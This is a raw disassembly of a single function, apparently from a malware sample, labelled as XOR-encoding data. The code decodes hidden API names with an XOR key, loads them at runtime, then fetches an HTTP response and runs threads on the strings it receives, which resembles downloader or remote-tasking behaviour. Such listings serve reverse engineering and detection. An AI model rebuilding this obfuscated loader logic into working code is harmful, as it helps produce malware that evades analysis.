Function at 0x4053e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x57c
mov eax, dword [str.djajc__kcc]
mov ecx, dword [0x415c90]
mov edx, dword [0x415c94]
mov dword [esp + 0x14], eax
cmp byte [esp + 0x14], 0
mov al, byte [0x415c98]
push ebx
push esi
mov byte [esp + 0x28], al
push edi
mov dword [esp + 0x10], 0
mov dword [esp + 0x24], ecx
mov dword [esp + 0x28], edx
lea eax, [esp + 0x20]
je 0x40543b
mov ecx, eax
lea ebx, [ebx]
xor byte [eax], 0xf
inc ecx
cmp byte [ecx], 0
mov eax, ecx
jne 0x405430
lea ecx, [esp + 0x20]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edx, dword [str.Hc_mncNcc_l]
mov ecx, dword [0x4165f8]
mov edi, eax
mov eax, dword [0x4165f4]
mov dword [esp + 0x24], eax
mov dword [esp + 0x20], edx
mov dword [esp + 0x28], ecx
lea eax, [esp + 0x20]
test dl, dl
je 0x40547b
mov ecx, eax
nop
xor byte [eax], 0xf
inc ecx
cmp byte [ecx], 0
mov eax, ecx
jne 0x405470
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea edx, [esp + 0x20]
push edx
push edi
call esi
mov eax, dword [str.Hc_mncIjj]
mov ecx, dword [0x416600]
mov dx, word [0x416604]
mov dword [esp + 0x20], eax
cmp byte [esp + 0x20], 0
mov al, byte [0x416606]
mov byte [esp + 0x2a], al
mov dword [esp + 0x24], ecx
mov word [esp + 0x28], dx
lea eax, [esp + 0x20]
je 0x4054cb
mov ecx, eax
mov edi, edi
xor byte [eax], 0xf
inc ecx
cmp byte [ecx], 0
mov eax, ecx
jne 0x4054c0
lea ecx, [esp + 0x20]
push ecx
push edi
call esi
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
push edx
push eax
lea eax, [esp + 0x1c]
call fcn.004040b0
add esp, 8
test eax, eax
je 0x405505
mov ecx, dword [esp + 0x14]
push ecx
call dword [0x41a18c]
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0x3ff
lea edx, [esp + 0x18d]
push 0
push edx
mov byte [esp + 0x194], 0
call fcn.0040e7a0
mov esi, dword [esp + 0x20]
add esp, 0xc
push 0
push 0x400
lea eax, [esp + 0x190]
push eax
push esi
call dword [0x419f58]
mov dword [esp + 0x18], eax
cmp eax, 0xffffffff
jne 0x40555a
push esi
call dword [0x41a18c]
mov eax, 2
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
test eax, eax
je 0x405547
lea ecx, [esp + 0x191]
push str.200_OK_r_n
push ecx
call fcn.00406780
lea edx, [esp + 0x199]
add esp, 8
cmp eax, edx
je 0x405591
push esi
call dword [0x41a18c]
mov eax, 3
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [str.L_aja_Cjahg5_]
mov ecx, dword [0x41660c]
mov edx, dword [0x416610]
mov dword [esp + 0x20], eax
mov eax, dword [0x416614]
mov dword [esp + 0x2c], eax
mov al, byte [0x415c8a]
mov dword [esp + 0x24], ecx
mov cl, byte [0x416618]
mov dword [esp + 0x28], edx
mov dx, word [0x415c88]
mov byte [esp + 0x8a], al
lea eax, [esp + 0x20]
mov byte [esp + 0x30], cl
mov word [esp + 0x88], dx
call fcn.00402090
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4055e7
lea edi, [esp + 0x88]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x4055f8
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x88]
push ecx
lea edx, [esp + 0x18c]
push edx
call fcn.00406780
mov ecx, 6
mov esi, str._naij_Jal_kfah5_lgzadjk
lea edi, [esp + 0x28]
rep movsd dword es:[edi], dword [esi]
mov cl, byte [0x415c8a]
mov ebx, eax
mov ax, word [0x415c88]
movsw word es:[edi], word [esi]
mov word [esp + 0x90], ax
add esp, 8
lea eax, [esp + 0x20]
movsb byte es:[edi], byte [esi]
mov byte [esp + 0x8a], cl
call fcn.00402090
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x405663
lea edi, [esp + 0x88]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x405676
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0x88]
rep movsb byte es:[edi], byte [esi]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x405694
mov dx, word [0x415c88]
mov cl, byte [0x415c8a]
mov word [eax], dx
lea edx, [esp + 0x88]
mov byte [eax + 2], cl
push edx
lea eax, [esp + 0x18c]
push eax
call fcn.00406780
lea ecx, [esp + 0x190]
push str._r_n_r_n
push ecx
mov edi, eax
call fcn.00406780
mov esi, eax
add esp, 0x10
add esi, 4
test ebx, ebx
je 0x4056f4
add ebx, 0x12
push ebx
call fcn.004068f4
add esp, 4
mov dword [esp + 0x10], eax
test edi, edi
je 0x40571e
lea edx, [esp + 0x10]
push edx
push 0x415c84
push esi
call fcn.004065ab
add esp, 0xc
push 0x415c88
push esi
call fcn.00406780
add esp, 8
add eax, 2
mov esi, eax
mov eax, dword [esp + 0x10]
test eax, eax
je 0x40583e
inc eax
push eax
call fcn.004066aa
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x4054f9
mov eax, dword [esp + 0x10]
inc eax
push eax
push 0
push ebx
call fcn.0040e7a0
mov edi, dword [esp + 0x24]
mov eax, dword [esp + 0x1c]
lea ecx, [esp + 0x194]
sub ecx, esi
add edi, ecx
add esp, 0xc
cmp edi, eax
ja 0x4057b3
push edi
push esi
push ebx
call fcn.0040c700
mov eax, dword [esp + 0x1c]
add esp, 0xc
sub eax, edi
push 0
push eax
lea esi, [ebx + edi]
mov edi, dword [esp + 0x1c]
push esi
push edi
mov dword [esp + 0x20], eax
call dword [0x419f58]
test eax, eax
je 0x4057c2
cmp eax, 0xffffffff
je 0x4057c2
add esi, eax
sub dword [esp + 0x10], eax
je 0x4057c2
mov edx, dword [esp + 0x10]
push 0
push edx
push esi
push edi
call dword [0x419f58]
test eax, eax
jne 0x405791
jmp 0x4057c2
push eax
push esi
push ebx
call fcn.0040c700
mov edi, dword [esp + 0x20]
add esp, 0xc
push edi
call dword [0x41a18c]
push ebx
mov esi, ebx
call fcn.004068f4
mov edi, eax
add esp, 4
test edi, edi
je 0x405835
lea ebx, [ebx]
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4057e5
sub eax, edx
lea esi, [esi + eax + 1]
mov eax, edi
mov ecx, esi
call fcn.00402060
push 0
push 0
lea eax, [esp + 0x20]
push eax
push 0x4048e0
push 0
push 0
mov dword [esp + 0x34], edi
mov dword [esp + 0x30], esi
call dword [0x419ff4]
push 0xffffffffffffffff
push eax
call dword [0x41a150]
add esi, edi
push esi
call fcn.004068f4
mov edi, eax
add esp, 4
test edi, edi
jne 0x4057e0
push ebx
call fcn.004065cd
add esp, 4
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret